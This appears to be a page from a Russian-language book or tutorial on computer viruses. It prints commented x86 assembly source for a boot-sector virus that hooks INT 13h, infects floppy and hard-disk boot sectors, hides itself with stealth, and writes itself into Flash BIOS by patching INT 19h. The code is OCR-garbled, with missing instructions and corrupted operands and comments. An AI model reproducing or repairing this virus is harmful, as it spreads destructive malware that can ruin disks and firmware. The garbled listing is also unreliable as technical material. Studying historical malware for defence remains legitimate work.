прерывания ;Проверка наличия резидентного вируса - ответим: ;запрос INT 13h (AX=ABBAh), ответ AX=BMBh xchg ah,al iret .Обработчик прерывания INT 13h .Если при вызове в АХ находится
ABBAh, cmp ax.OABBAh je resJest [Перехватываем только функцию 02h
(чтение сектора): проверяем cmp ah,2 jne jend [Проверяем номера дорожки и
сектора, интересуясь только теми cmp cx,1 jne jend [Проверим номер головки. Если не
0, то запустим cmp dh,0 jne jend ;Считаем сектор в буфер (для
дальнейшей обработки). call int13h jc jend [Сохраним регистры и флаги
(обработчик не должен изменить их) Проверяем, заражен ли данный
диск вирусом: читаем сигнатуру. cmp word ptr es:[bx+offset marker],"LV" je stealth ;Если диск не заражен, то
заражаем: проверим, откуда загружен cmp dl,80h jb infect_floppy .Установим номера дорожки,
головки и сектора для жесткого mov cx,2 xor dh.dh jmp write_virus ;Установим номера дорожки,
головки и сектора для дискеты mov сх,14 mov dh,1 Записываем оригинальный
boot-сектор ;Установим сегментный регистр ES
на сегмент с вирусом ;Сбросим флаг
зараженности Flash BIOS ;3апишем тело вируса в boot-сектор восстановим регистры и флаги
(как раз те их значения, которые pop ds pop es pop di pop si pop dx pop ex pop bx pop ax popf [Выходим из обработчика в
вызывающую программу ;3апуск оригинального
обработчика DD OEAh .Код команды JMP FAR ;0ригинальный вектор INT13h ;Вызов прерывания INT 13h pushf call dword ptr cs:[i13] ret Первые два байта слова
используются как сигнатура ;Эта подпрограмма заражает Flash
BIOS Проверим наличие Flash BIOS jc no_flash_bios ;Сначала найдем хорошее место
для хранения вируса. Остановим начальный сегмент для
поиска Проверим сегмент Остановим стартовое смещение Остановим счетчик найденных
байт xor dx.dx ;Перейдем к следующему сегменту Проверим, есть ли еще место для
вируса ;Проверим, свободно ли место (для
скорости проверяем словами) cmp word ptr [si],0 jne new_segment ;Увеличим счетчик размера
найденного свободного места Проверим, достаточно ли
найденного места. Сравниваем с 1Кбайт, но cmp dx,512 je found_storage [Увеличим смещение проверяемого
байта ;Сравним с 16. Переходим к
следующему сегменту cmp si,16 je ok_new_segment jmp test16 ;B эту точку попадаем, если место
найдено Перейдем к началу зоны .Получим требования к
сохранению состояния чипа ;Проверим, сколько памяти необходимо для сохранения состояния ;чипа. Если слишком много, не будем сохранять состояние cmp bx,512 jbe save_chipset ;Установим флаг, показывающий,
что состояние не сохраняли [Перейдем к записи ;Сюда попадаем, если Flash BIOS не обнаружен: записывать некуда - выходим ret [Сохраним состояние чипа [Установим флаг, показывающий,
что состояние сохранили .Сохраним состояние mov di, offset buffer [Записываемся во Flash BIOS [Повышаем напряжение ;Разрешаем запись во Flash BIOS .Копируем 512 байт вируса во Flash BIOS ;3десь нужна особая
осторожность. lnt19h указывает на BIOS, mov ds.ax ;DS=Ta6nHua векторов ;3апишем JMP FAR по адресу точки
входа в INT 19h mov ax,offset int19handler mov ax.bx .Понизим напряжение ;3ащитим Flash BIOS от записи ;Проверим, сохранялось ли
состояние чипа, если нет - выходим .Восстановим состояние чипа mov di, offset buffer ;Флаг несохранения состояния
чипа ;Флаг присутствия вируса во Flash
BIOS ;Наш обработчик INT 19h. ;Установим сегментный регистр ES
в ноль [Проверим наличие резидентного
вируса ;Если вирус присутствует, то
запускаем оригинальный cmp ax.OBAABh jne realJnt19h [Перенесем вирус из BIOS в boot-буфер eld xor si,si mov di,7c00h mov ex,512 rep movsb ;3апустим вирус в boot-буфере mov dl,80h jmp goto_Buffer ;Произведем сброс дисковой
подсистемы Лроинициализируем значения
регистров для загрузки boot-сектора .Проверим, откуда грузимся: если
DL не нулевой, cmp dl,0 J'a hd_int19h ;Прочтем boot-сектор с дискеты.
Если при чтении происходит int 13h jc fix_hd Остановим флаг, показывающий
присутствие вируса во Flash BIOS mov byte ptr es:[7COOh+offset flash_done],1 ;3апустим boot-сектор, находящийся в boot-буфере db OEAh ;Код команды JMP FAR dw 7c00h dw 0 [Установим номер диска для загрузки (диск С) mov dl,80h Произведем сброс дисковой
подсистемы .Прочтем boot-сектор ;Если не удалось загрузить
boot-сектор, int 18h ;Размер области памяти,
необходимый для дополнения Заполнение незанятой вирусом
части сектора ;Место для сохранения состояния
чипа [Назад][Содержание][Вперед] |
|
| ||||||||||||||||
|